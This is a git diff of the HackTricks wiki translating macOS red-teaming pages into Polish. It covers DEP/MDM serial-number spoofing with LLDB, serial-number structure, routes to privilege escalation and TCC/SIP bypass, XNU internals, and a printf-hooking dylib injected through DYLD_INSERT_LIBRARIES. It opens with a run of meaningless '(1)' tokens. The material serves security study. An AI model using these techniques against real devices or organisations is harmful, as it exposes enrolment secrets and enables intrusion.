(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1 diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 19851b925..90d8ed348 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -1,53 +1,53 @@ -# Enrolling Devices in Other Organisations +# Rejestracja urządzeń w innych organizacjach {{#include ../../../banners/hacktricks-training.md}} -## Intro +## Wprowadzenie -As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected. +Jak [**wcześniej wspomniano**](./#what-is-mdm-mobile-device-management)**,** aby spróbować zarejestrować urządzenie w organizacji **wystarczy tylko numer seryjny należący do tej organizacji**. Po zarejestrowaniu urządzenia, kilka organizacji zainstaluje wrażliwe dane na nowym urządzeniu: certyfikaty, aplikacje, hasła WiFi, konfiguracje VPN [i tak dalej](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ +Dlatego może to być niebezpieczny punkt wejścia dla atakujących, jeśli proces rejestracji nie jest odpowiednio chroniony. -**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!** +**Poniżej znajduje się podsumowanie badań [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Sprawdź to, aby uzyskać dalsze szczegóły techniczne!** -## Overview of DEP and MDM Binary Analysis +## Przegląd analizy binarnej DEP i MDM -This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include: +Badania te zagłębiają się w binaria związane z Programem Rejestracji Urządzeń (DEP) i Zarządzaniem Urządzeniami Mobilnymi (MDM) na macOS. Kluczowe komponenty to: -- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4. -- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later. -- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles. +- **`mdmclient`**: Komunikuje się z serwerami MDM i wyzwala rejestracje DEP w wersjach macOS przed 10.13.4. +- **`profiles`**: Zarządza profilami konfiguracyjnymi i wyzwala rejestracje DEP w wersjach macOS 10.13.4 i nowszych. +- **`cloudconfigurationd`**: Zarządza komunikacją z API DEP i pobiera profile rejestracji urządzeń. -DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC. +Rejestracje DEP wykorzystują funkcje `CPFetchActivationRecord` i `CPGetActivationRecord` z prywatnej ramy profili konfiguracyjnych do pobierania rekordu aktywacji, przy czym `CPFetchActivationRecord` współpracuje z `cloudconfigurationd` przez XPC. -## Tesla Protocol and Absinthe Scheme Reverse Engineering +## Inżynieria odwrotna protokołu Tesla i schematu Absinthe -The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request. +Rejestracja DEP polega na tym, że `cloudconfigurationd` wysyła zaszyfrowany, podpisany ładunek JSON do _iprofiles.apple.com/macProfile_. Ładunek zawiera numer seryjny urządzenia oraz akcję "RequestProfileConfiguration". Schemat szyfrowania używany jest wewnętrznie jako "Absinthe". Rozwiązanie tego schematu jest skomplikowane i wymaga wielu kroków, co doprowadziło do zbadania alternatywnych metod wstawiania dowolnych numerów seryjnych w żądaniu rekordu aktywacji. -## Proxying DEP Requests +## Proxying żądań DEP -Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key. +Próby przechwycenia i modyfikacji żądań DEP do _iprofiles.apple.com_ za pomocą narzędzi takich jak Charles Proxy były utrudnione przez szyfrowanie ładunku i środki bezpieczeństwa SSL/TLS. Jednak włączenie konfiguracji `MCCloudConfigAcceptAnyHTTPSCertificate` pozwala na ominięcie walidacji certyfikatu serwera, chociaż zaszyfrowana natura ładunku nadal uniemożliwia modyfikację numeru seryjnego bez klucza deszyfrującego. -## Instrumenting System Binaries Interacting with DEP +## Instrumentacja binariów systemowych współpracujących z DEP -Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing. +Instrumentacja binariów systemowych, takich jak `cloudconfigurationd`, wymaga wyłączenia Ochrony Integralności Systemu (SIP) w macOS. Po wyłączeniu SIP, narzędzia takie jak LLDB mogą być używane do podłączenia się do procesów systemowych i potencjalnej modyfikacji numeru seryjnego używanego w interakcjach z API DEP. Ta metoda jest preferowana, ponieważ unika złożoności związanych z uprawnieniami i podpisywaniem kodu. -**Exploiting Binary Instrumentation:** -Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved: +**Wykorzystywanie instrumentacji binarnej:** +Modyfikacja ładunku żądania DEP przed serializacją JSON w `cloudconfigurationd` okazała się skuteczna. Proces obejmował: -1. Attaching LLDB to `cloudconfigurationd`. -2. Locating the point where the system serial number is fetched. -3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent. +1. Podłączenie LLDB do `cloudconfigurationd`. +2. Zlokalizowanie punktu, w którym pobierany jest numer seryjny systemu. +3. Wstrzyknięcie dowolnego numeru seryjnego do pamięci przed zaszyfrowaniem ładunku i wysłaniem go. -This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability. +Ta metoda pozwoliła na pobranie pełnych profili DEP dla dowolnych numerów seryjnych, co wykazało potencjalną lukę. -### Automating Instrumentation with Python +### Automatyzacja instrumentacji za pomocą Pythona -The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles. +Proces eksploatacji został zautomatyzowany za pomocą Pythona z użyciem API LLDB, co umożliwiło programowe wstrzykiwanie dowolnych numerów seryjnych i pobieranie odpowiadających im profili DEP. -### Potential Impacts of DEP and MDM Vulnerabilities +### Potencjalne skutki luk w DEP i MDM -The research highlighted significant security concerns: +Badania podkreśliły istotne problemy z bezpieczeństwem: -1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved. +1. **Ujawnienie informacji**: Podając zarejestrowany w DEP numer seryjny, można uzyskać wrażliwe informacje organizacyjne zawarte w profilu DEP. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md index 4b373d774..fdb760b87 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md @@ -1,40 +1,40 @@ -# macOS Serial Number +# macOS Numer seryjny {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information: +Urządzenia Apple po 2010 roku mają numery seryjne składające się z **12 znaków alfanumerycznych**, z których każdy segment przekazuje konkretne informacje: -- **First 3 Characters**: Indicate the **manufacturing location**. -- **Characters 4 & 5**: Denote the **year and week of manufacture**. -- **Characters 6 to 8**: Serve as a **unique identifier** for each device. -- **Last 4 Characters**: Specify the **model number**. +- **Pierwsze 3 znaki**: Wskazują na **miejsce produkcji**. +- **Znaki 4 i 5**: Oznaczają **rok i tydzień produkcji**. +- **Znaki 6 do 8**: Służą jako **unikalny identyfikator** dla każdego urządzenia. +- **Ostatnie 4 znaki**: Określają **numer modelu**. -For instance, the serial number **C02L13ECF8J2** follows this structure. +Na przykład, numer seryjny **C02L13ECF8J2** podąża za tą strukturą. -### **Manufacturing Locations (First 3 Characters)** +### **Miejsca produkcji (Pierwsze 3 znaki)** -Certain codes represent specific factories: +Niektóre kody reprezentują konkretne fabryki: -- **FC, F, XA/XB/QP/G8**: Various locations in the USA. -- **RN**: Mexico. -- **CK**: Cork, Ireland. -- **VM**: Foxconn, Czech Republic. -- **SG/E**: Singapore. -- **MB**: Malaysia. +- **FC, F, XA/XB/QP/G8**: Różne lokalizacje w USA. +- **RN**: Meksyk. +- **CK**: Cork, Irlandia. +- **VM**: Foxconn, Czechy. +- **SG/E**: Singapur. +- **MB**: Malezja. - **PT/CY**: Korea. -- **EE/QT/UV**: Taiwan. -- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China. -- **C0, C3, C7**: Specific cities in China. -- **RM**: Refurbished devices. +- **EE/QT/UV**: Tajwan. +- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Różne lokalizacje w Chinach. +- **C0, C3, C7**: Konkretne miasta w Chinach. +- **RM**: Odnowione urządzenia. -### **Year of Manufacturing (4th Character)** +### **Rok produkcji (4. znak)** -This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods. +Ten znak zmienia się od 'C' (reprezentujący pierwszą połowę 2010 roku) do 'Z' (drugą połowę 2019 roku), przy czym różne litery wskazują różne półroczne okresy. -### **Week of Manufacturing (5th Character)** +### **Tydzień produkcji (5. znak)** -Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number. +Cyfry 1-9 odpowiadają tygodniom 1-9. Litery C-Y (z wyjątkiem samogłosk i 'S') reprezentują tygodnie 10-27. Dla drugiej połowy roku dodaje się 26 do tej liczby. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 7fa9d3ae9..aa6e45182 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -2,32 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - ## Basic MacOS -If you are not familiar with macOS, you should start learning the basics of macOS: +Jeśli nie znasz macOS, powinieneś zacząć od nauki podstaw macOS: -- Special macOS **files & permissions:** +- Specjalne pliki i **uprawnienia macOS:** {{#ref}} macos-files-folders-and-binaries/ {{#endref}} -- Common macOS **users** +- Typowi **użytkownicy macOS** {{#ref}} macos-users.md @@ -39,92 +24,92 @@ macos-users.md macos-applefs.md {{#endref}} -- The **architecture** of the k**ernel** +- **Architektura** jądra {{#ref}} mac-os-architecture/ {{#endref}} -- Common macOS n**etwork services & protocols** +- Typowe **usługi i protokoły sieciowe macOS** {{#ref}} macos-protocols.md {{#endref}} - **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) - - To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) +- Aby pobrać `tar.gz`, zmień adres URL, na przykład [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) na [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) ### MacOS MDM -In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**: +W firmach systemy **macOS** będą prawdopodobnie **zarządzane przez MDM**. Dlatego z perspektywy atakującego interesujące jest, **jak to działa**: {{#ref}} ../macos-red-teaming/macos-mdm/ {{#endref}} -### MacOS - Inspecting, Debugging and Fuzzing +### MacOS - Inspekcja, Debugowanie i Fuzzing {{#ref}} macos-apps-inspecting-debugging-and-fuzzing/ {{#endref}} -## MacOS Security Protections +## MacOS Ochrony Bezpieczeństwa {{#ref}} macos-security-protections/ {{#endref}} -## Attack Surface +## Powierzchnia Ataku -### File Permissions +### Uprawnienia Plików -If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\ -This could occur in the following situations: +Jeśli **proces działający jako root zapisuje** plik, który może być kontrolowany przez użytkownika, użytkownik może to wykorzystać do **eskalacji uprawnień**.\ +Może to wystąpić w następujących sytuacjach: -- File used was already created by a user (owned by the user) -- File used is writable by the user because of a group -- File used is inside a directory owned by the user (the user could create the file) -- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file) +- Plik użyty został już utworzony przez użytkownika (należy do użytkownika) +- Plik użyty jest zapisywalny przez użytkownika z powodu grupy +- Plik użyty znajduje się w katalogu należącym do użytkownika (użytkownik mógłby utworzyć plik) +- Plik użyty znajduje się w katalogu należącym do roota, ale użytkownik ma do niego dostęp do zapisu z powodu grupy (użytkownik mógłby utworzyć plik) -Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place. +Możliwość **utworzenia pliku**, który będzie **używany przez roota**, pozwala użytkownikowi **wykorzystać jego zawartość** lub nawet utworzyć **symlinki/hardlinki**, aby wskazać go w inne miejsce. -For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**: +W przypadku tego rodzaju luk nie zapomnij **sprawdzić podatnych instalatorów `.pkg`**: {{#ref}} macos-files-folders-and-binaries/macos-installers-abuse.md {{#endref}} -### File Extension & URL scheme app handlers +### Obsługa aplikacji według rozszerzenia pliku i schematu URL -Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols +Dziwne aplikacje zarejestrowane przez rozszerzenia plików mogą być wykorzystywane, a różne aplikacje mogą być zarejestrowane do otwierania określonych protokołów {{#ref}} macos-file-extension-apps.md {{#endref}} -## macOS TCC / SIP Privilege Escalation +## macOS TCC / SIP Eskalacja Uprawnień -In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others. +W macOS **aplikacje i pliki binarne mogą mieć uprawnienia** do dostępu do folderów lub ustawień, które czynią je bardziej uprzywilejowanymi niż inne. -Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs). +Dlatego atakujący, który chce skutecznie skompromitować maszynę macOS, będzie musiał **eskalować swoje uprawnienia TCC** (lub nawet **obejść SIP**, w zależności od jego potrzeb). -These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**. +Te uprawnienia są zazwyczaj przyznawane w formie **uprawnień**, z którymi aplikacja jest podpisana, lub aplikacja może poprosić o pewne dostępy, a po **zatwierdzeniu ich przez użytkownika** mogą być znalezione w **bazach danych TCC**. Innym sposobem, w jaki proces może uzyskać te uprawnienia, jest bycie **dzieckiem procesu** z tymi **uprawnieniami**, ponieważ są one zazwyczaj **dziedziczone**. -Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses). +Śledź te linki, aby znaleźć różne sposoby [**eskalacji uprawnień w TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), aby [**obejść TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) i jak w przeszłości [**SIP został ominięty**](macos-security-protections/macos-sip.md#sip-bypasses). -## macOS Traditional Privilege Escalation +## macOS Tradycyjna Eskalacja Uprawnień -Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints: +Oczywiście z perspektywy zespołów red team również powinieneś być zainteresowany eskalacją do roota. Sprawdź następujący post, aby uzyskać kilka wskazówek: {{#ref}} macos-privilege-escalation.md {{#endref}} -## macOS Compliance +## Zgodność macOS - [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security) -## References +## Odnośniki - [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) @@ -132,19 +117,4 @@ macos-privilege-escalation.md - [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ) - [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY) -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 306efd482..607b0d257 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -4,66 +4,66 @@ ## XNU Kernel -The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**. +**Rdzeń macOS to XNU**, co oznacza "X is Not Unix". Ten kernel składa się zasadniczo z **mikrokernela Mach** (omówionego później) **i** elementów z Berkeley Software Distribution (**BSD**). XNU zapewnia również platformę dla **sterowników jądra za pośrednictwem systemu zwanego I/O Kit**. Kernel XNU jest częścią projektu open source Darwin, co oznacza, że **jego kod źródłowy jest ogólnodostępny**. -From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages. +Z perspektywy badacza bezpieczeństwa lub dewelopera Unix, **macOS** może wydawać się dość **podobny** do systemu **FreeBSD** z eleganckim interfejsem graficznym i wieloma niestandardowymi aplikacjami. Większość aplikacji opracowanych dla BSD skompiluje się i uruchomi na macOS bez potrzeby modyfikacji, ponieważ narzędzia wiersza poleceń znane użytkownikom Unix są obecne w macOS. Jednakże, ponieważ kernel XNU zawiera Mach, istnieją istotne różnice między tradycyjnym systemem podobnym do Unix a macOS, a te różnice mogą powodować potencjalne problemy lub zapewniać unikalne zalety. -Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) +Otwartoźródłowa wersja XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**. +Mach to **mikrokernel** zaprojektowany w celu **kompatybilności z UNIX**. Jedną z jego kluczowych zasad projektowych było **minimalizowanie** ilości **kodu** działającego w **przestrzeni jądra** i zamiast tego pozwolenie wielu typowym funkcjom jądra, takim jak system plików, sieci i I/O, na **działanie jako zadania na poziomie użytkownika**. -In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management. +W XNU, Mach jest **odpowiedzialny za wiele krytycznych operacji niskiego poziomu**, które typowo obsługuje kernel, takich jak planowanie procesora, wielozadaniowość i zarządzanie pamięcią wirtualną. ### BSD -The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including: +Kernel XNU **zawiera** również znaczną ilość kodu pochodzącego z projektu **FreeBSD**. Ten kod **działa jako część jądra razem z Machem**, w tej samej przestrzeni adresowej. Jednak kod FreeBSD w XNU może znacznie różnić się od oryginalnego kodu FreeBSD, ponieważ wymagane były modyfikacje, aby zapewnić jego zgodność z Machem. FreeBSD przyczynia się do wielu operacji jądra, w tym: -- Process management -- Signal handling -- Basic security mechanisms, including user and group management -- System call infrastructure -- TCP/IP stack and sockets -- Firewall and packet filtering +- Zarządzanie procesami +- Obsługa sygnałów +- Podstawowe mechanizmy bezpieczeństwa, w tym zarządzanie użytkownikami i grupami +- Infrastruktura wywołań systemowych +- Stos TCP/IP i gniazda +- Zapora ogniowa i filtrowanie pakietów -Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure. +Zrozumienie interakcji między BSD a Machem może być skomplikowane, z powodu ich różnych ram koncepcyjnych. Na przykład, BSD używa procesów jako swojej podstawowej jednostki wykonawczej, podczas gdy Mach działa na podstawie wątków. Ta rozbieżność jest rozwiązywana w XNU poprzez **powiązanie każdego procesu BSD z zadaniem Mach**, które zawiera dokładnie jeden wątek Mach. Gdy używane jest wywołanie systemowe fork() w BSD, kod BSD w jądrze używa funkcji Mach do tworzenia struktury zadania i wątku. -Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel. +Ponadto, **Mach i BSD utrzymują różne modele bezpieczeństwa**: model bezpieczeństwa **Macha** oparty jest na **prawach portów**, podczas gdy model bezpieczeństwa BSD działa na podstawie **własności procesów**. Różnice między tymi dwoma modelami czasami prowadziły do lokalnych luk w podnoszeniu uprawnień. Oprócz typowych wywołań systemowych, istnieją również **pułapki Mach, które pozwalają programom w przestrzeni użytkownika na interakcję z jądrem**. Te różne elementy razem tworzą wieloaspektową, hybrydową architekturę jądra macOS. -### I/O Kit - Drivers +### I/O Kit - Sterowniki -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +I/O Kit to otwartoźródłowa, obiektowa **ramka sterowników urządzeń** w jądrze XNU, obsługująca **dynamicznie ładowane sterowniki urządzeń**. Umożliwia dodawanie modułowego kodu do jądra w locie, wspierając różnorodny sprzęt. {{#ref}} macos-iokit.md {{#endref}} -### IPC - Inter Process Communication +### IPC - Komunikacja między procesami {{#ref}} ../macos-proces-abuse/macos-ipc-inter-process-communication/ {{#endref}} -## macOS Kernel Extensions +## Rozszerzenia jądra macOS -macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found). +macOS jest **bardzo restrykcyjny w ładowaniu rozszerzeń jądra** (.kext) z powodu wysokich uprawnień, z jakimi kod będzie działał. W rzeczywistości, domyślnie jest to praktycznie niemożliwe (chyba że znajdzie się obejście). -In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**: +Na następnej stronie możesz również zobaczyć, jak odzyskać `.kext`, które macOS ładuje wewnątrz swojego **kernelcache**: {{#ref}} macos-kernel-extensions.md {{#endref}} -### macOS System Extensions +### Rozszerzenia systemu macOS -Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions. +Zamiast używać rozszerzeń jądra, macOS stworzył Rozszerzenia Systemu, które oferują API na poziomie użytkownika do interakcji z jądrem. W ten sposób deweloperzy mogą unikać używania rozszerzeń jądra. {{#ref}} macos-system-extensions.md {{#endref}} -## References +## Referencje - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 424ed20b7..1af6c16de 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -2,54 +2,49 @@ {{#include ../../../banners/hacktricks-training.md}} -## Function Interposing +## Interpozycja funkcji -Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions. +Utwórz **dylib** z sekcją **`__interpose`** (lub sekcją oznaczoną jako **`S_INTERPOSING`**) zawierającą krotki **wskaźników funkcji**, które odnoszą się do **oryginalnych** i **zamiennych** funkcji. -Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions). +Następnie **wstrzyknij** dylib za pomocą **`DYLD_INSERT_LIBRARIES`** (interpozycja musi nastąpić przed załadowaniem głównej aplikacji). Oczywiście [**ograniczenia** dotyczące użycia **`DYLD_INSERT_LIBRARIES`** mają tu również zastosowanie](../macos-proces-abuse/macos-library-injection/#check-restrictions). -### Interpose printf +### Interpozycja printf {{#tabs}} {{#tab name="interpose.c"}} - ```c:interpose.c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include int my_printf(const char *format, ...) { - //va_list args; - //va_start(args, format); - //int ret = vprintf(format, args); - //va_end(args); +//va_list args; +//va_start(args, format); +//int ret = vprintf(format, args); +//va_end(args); - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; ``` - {{#endtab}} {{#tab name="hello.c"}} - ```c //gcc hello.c -o hello #include int main() { - printf("Hello World!\n"); - return 0; +printf("Hello World!\n"); +return 0; } ``` - {{#endtab}} {{#tab name="interpose2.c"}} - ```c // Just another way to define an interpose // gcc -dynamiclib interpose2.c -o interpose2.dylib @@ -57,26 +52,24 @@ int main() { #include #define DYLD_INTERPOSE(_replacement, _replacee) \ - __attribute__((used)) static struct { \ - const void* replacement; \ - const void* replacee; \ - } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ - (const void*) (unsigned long) &_replacement, \ - (const void*) (unsigned long) &_replacee \ - }; +__attribute__((used)) static struct { \ +const void* replacement; \ +const void* replacee; \ +} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ +(const void*) (unsigned long) &_replacement, \ +(const void*) (unsigned long) &_replacee \ +}; int my_printf(const char *format, ...) { - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } DYLD_INTERPOSE(my_printf,printf); ``` - {{#endtab}} {{#endtabs}} - ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello Hello from interpose @@ -84,24 +77,22 @@ Hello from interpose DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello Hello from interpose ``` - ## Method Swizzling -In ObjectiveC this is how 